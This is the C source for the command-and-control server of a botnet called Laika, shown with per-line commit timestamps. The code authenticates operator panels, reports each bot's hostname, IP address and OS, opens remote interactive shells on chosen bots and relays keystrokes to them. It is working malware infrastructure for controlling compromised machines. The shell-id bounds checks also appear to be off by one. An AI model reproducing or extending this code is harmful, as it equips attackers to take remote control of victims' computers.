2022-02-13 00:21:59 +00:00
|
|
|
#include "lerror.h"
|
2022-03-18 04:49:25 +00:00
|
|
|
#include "lmem.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cnc.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
#include "cpeer.h"
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cpanel.h"
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
|
|
|
|
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* make sure we're not sending connection information to themselves */
|
|
|
|
if (peer != authPeer) {
|
|
|
|
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
|
|
|
|
laikaC_sendNewPeer(authPeer, peer);
|
2022-02-14 05:55:30 +00:00
|
|
|
}
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's info */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
2022-03-05 02:17:03 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
|
2022-06-04 15:11:28 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->ipStr, LAIKA_IPSTR_LEN);
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-03-18 04:05:18 +00:00
|
|
|
laikaS_writeByte(&authPeer->sock, peer->osType);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's pubkey */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* ============================================[[ Packet Handlers ]]============================================= */
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-05-08 01:09:42 +00:00
|
|
|
PEERTYPE type;
|
|
|
|
int i;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
type = laikaS_readByte(&authPeer->sock);
|
|
|
|
switch (type) {
|
2022-02-28 22:27:55 +00:00
|
|
|
case PEER_AUTH:
|
2022-02-13 00:21:59 +00:00
|
|
|
/* check that peer's pubkey is authenticated */
|
2022-04-06 04:57:37 +00:00
|
|
|
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
2022-02-13 00:21:59 +00:00
|
|
|
LAIKA_ERROR("unauthorized panel!\n");
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* notify cnc */
|
|
|
|
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
|
|
|
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
/* they passed! send list of our peers */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
break;
|
|
|
|
default:
|
2022-02-28 22:27:55 +00:00
|
|
|
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-02-28 22:27:55 +00:00
|
|
|
struct sLaika_peer *peer;
|
2022-03-07 21:16:46 +00:00
|
|
|
uint16_t cols, rows;
|
2022-02-28 22:27:55 +00:00
|
|
|
|
|
|
|
/* read pubkey & find peer */
|
|
|
|
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
|
|
|
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
|
|
|
|
|
2022-02-28 22:39:02 +00:00
|
|
|
if (peer->type != PEER_BOT)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
|
|
|
|
2022-03-07 21:16:46 +00:00
|
|
|
/* read term size */
|
|
|
|
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
|
|
|
|
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
|
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
/* open shell */
|
|
|
|
laikaC_openShell(peer, authPeer, cols, rows);
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
2022-03-02 16:38:16 +00:00
|
|
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
|
|
|
struct sLaika_shellInfo *shell;
|
|
|
|
uint32_t id;
|
2022-03-02 16:38:16 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
|
|
|
|
|
|
|
/* ignore malformed packet */
|
|
|
|
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
2022-03-02 16:38:16 +00:00
|
|
|
return;
|
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaC_closeShell(shell);
|
2022-03-02 16:38:16 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-02-28 22:39:02 +00:00
|
|
|
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-02-28 22:39:02 +00:00
|
|
|
struct sLaika_peer *peer;
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_shellInfo *shell;
|
|
|
|
uint32_t id;
|
|
|
|
|
|
|
|
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
2022-02-28 22:39:02 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
|
|
|
sz -= sizeof(uint32_t);
|
|
|
|
|
|
|
|
/* ignore malformed packet */
|
|
|
|
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
|
|
|
return;
|
2022-02-28 22:39:02 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
peer = shell->bot;
|
2022-02-28 22:39:02 +00:00
|
|
|
|
|
|
|
/* read data */
|
|
|
|
laikaS_read(&authPeer->sock, data, sz);
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-06-04 01:55:14 +00:00
|
|
|
/* forward to peer */
|
|
|
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
|
|
|
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
|
|
|
|
laikaS_write(&peer->sock, data, sz);
|
|
|
|
laikaS_endVarPacket(peer);
|
2022-05-08 01:09:42 +00:00
|
|
|
}
|